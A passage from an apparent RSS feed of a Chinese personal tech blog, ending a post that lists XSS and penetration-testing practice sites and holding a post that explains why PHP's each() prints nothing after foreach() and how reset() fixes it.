&lt;h2 id=&quot;webug&quot;&gt;&lt;a href=&quot;https://pan.baidu.com/s/1chDLee&quot;&gt;webug&lt;/a&gt;&lt;/h2&gt;

&lt;h2 id=&quot;xss练习&quot;&gt;&lt;a href=&quot;https://xss.haozi.me/#/0x00&quot;&gt;XSS练习&lt;/a&gt;&lt;/h2&gt;

&lt;h3 id=&quot;xss练习github&quot;&gt;&lt;a href=&quot;https://github.com/haozime/xss-demo&quot;&gt;XSS练习Github&lt;/a&gt;&lt;/h3&gt;

&lt;h2 id=&quot;赛克社区&quot;&gt;&lt;a href=&quot;http://tr.secevery.com/xss_platform/code/xss01/index.php?name=xiaoming&quot;&gt;赛克社区&lt;/a&gt;&lt;/h2&gt;

&lt;h2 id=&quot;xss练习源码&quot;&gt;&lt;a href=&quot;http://pan.baidu.com/s/1pKCb9B9&quot;&gt;xss练习源码&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;密码: 3cqm&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;xss在线挑战&quot;&gt;&lt;a href=&quot;http://test.xss.tv&quot;&gt;xss在线挑战&lt;/a&gt;&lt;/h3&gt;

&lt;h2 id=&quot;facebook-fbctf&quot;&gt;&lt;a href=&quot;https://github.com/facebook/fbctf&quot;&gt;Facebook fbctf&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;By Waldo&lt;/p&gt;
</description>
        <pubDate>Sat, 01 Sep 2018 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2018/09/01/%E5%B8%B8%E8%A7%81%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%B6%E5%9C%BA%E7%B3%BB%E7%BB%9F/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2018/09/01/%E5%B8%B8%E8%A7%81%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%B6%E5%9C%BA%E7%B3%BB%E7%BB%9F/</guid>
        
        <category>web安全</category>
        
        
      </item>
    
      <item>
        <title>PHP之each()函数输出空白问题</title>
        <description>&lt;h1 id=&quot;each函数&quot;&gt;each()函数&lt;/h1&gt;

&lt;p&gt;(PHP 4, PHP 5, PHP 7)&lt;/p&gt;

&lt;p&gt;each — 返回数组中当前的键／值对并将数组指针向前移动一步&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This function has been &lt;em&gt;DEPRECATED&lt;/em&gt; as of PHP 7.2.0. Relying on this function is highly discouraged.&lt;/p&gt;

&lt;h3 id=&quot;说明&quot;&gt;说明&lt;a href=&quot;http://php.net/manual/zh/function.each.php#refsect1-function.each-description&quot;&gt; ¶&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;array &lt;strong&gt;each&lt;/strong&gt; ( array &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;$array&lt;/code&gt; )&lt;/p&gt;

&lt;p&gt;返回数组中当前的键／值对并将数组&lt;code class=&quot;highlighter-rouge&quot;&gt;指针&lt;/code&gt;向前移动一步&lt;/p&gt;

&lt;p&gt;在执行 &lt;strong&gt;each()&lt;/strong&gt; 之后，数组指针将停留在数组中的下一个单元或者当碰到数组结尾时停留在最后一个单元。如果要再用 each 遍历数组，必须使用 &lt;a href=&quot;http://php.net/manual/zh/function.reset.php&quot;&gt;reset()&lt;/a&gt;。&lt;/p&gt;

&lt;h1 id=&quot;foreach函数&quot;&gt;foreach()函数&lt;/h1&gt;

&lt;p&gt;(PHP 4, PHP 5, PHP 7)&lt;/p&gt;

&lt;p&gt;&lt;em&gt;foreach&lt;/em&gt; 语法结构提供了遍历数组的简单方式。&lt;em&gt;foreach&lt;/em&gt; 仅能够应用于数组和对象，如果尝试应用于其他数据类型的变量，或者未初始化的变量将发出错误信息。有两种语法：&lt;/p&gt;

&lt;p&gt;第一种格式遍历给定的 &lt;em&gt;array_expression&lt;/em&gt; 数组。每次循环中，当前单元的值被赋给 &lt;em&gt;$value&lt;/em&gt; 并且数组内部的&lt;code class=&quot;highlighter-rouge&quot;&gt;指针&lt;/code&gt;向前移一步（因此下一次循环中将会得到下一个单元）。&lt;/p&gt;

&lt;p&gt;第二种格式做同样的事，只除了当前单元的键名也会在每次循环中被赋给变量 &lt;em&gt;$key&lt;/em&gt;。&lt;/p&gt;

&lt;h1 id=&quot;注意&quot;&gt;注意&lt;/h1&gt;

&lt;p&gt;each()和foreach()都会移动指针&lt;/p&gt;

&lt;h1 id=&quot;为什么输出空白&quot;&gt;为什么输出空白？&lt;/h1&gt;

&lt;p&gt;一定是因为在使用each()函数之前使用了foreach()函数&lt;/p&gt;

&lt;p&gt;这时要使用reset()函数将指针初始化到0开始，即数组起始位置&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php
	$arr=array('name'=&amp;gt;'Waldo','sex'=&amp;gt;'male','age'=&amp;gt;'20');
	var_dump($arr);
	echo '&amp;lt;hr&amp;gt;';

	foreach($arr as $key =&amp;gt; $value){
	    echo $key.' =&amp;gt; '.$value.'&amp;lt;br&amp;gt;';
	}
	echo '&amp;lt;br&amp;gt;';

	reset($arr);
	//因为上面数组的指针已经移动到数组末尾，下面使用each的时候发生指针越界，返回false，导致无法输出值。
	//因此使用reset()函数将指针初始化到0开始，即数组起始位置。
	echo &quot;使用reset()后将有如下输出：&quot;;

	while(list($k, $v)=each($arr))
	{ 
    	echo $k.'=&amp;gt;'.$v.'&amp;lt;br&amp;gt;';
	}
?&amp;gt;	
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;输出如图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-193942e49aed37b7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;TIM截图20180906164521.png&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Sat, 25 Aug 2018 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2018/08/25/PHP%E4%B9%8Beach()%E5%87%BD%E6%95%B0%E8%BE%93%E5%87%BA%E7%A9%BA%E7%99%BD%E9%97%AE%E9%A2%98/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2018/08/25/PHP%E4%B9%8Beach()%E5%87%BD%E6%95%B0%E8%BE%93%E5%87%BA%E7%A9%BA%E7%99%BD%E9%97%AE%E9%A2%98/</guid>
        
        <category>PHP</category>
        
        
      </item>
    
  </channel>
</rss>
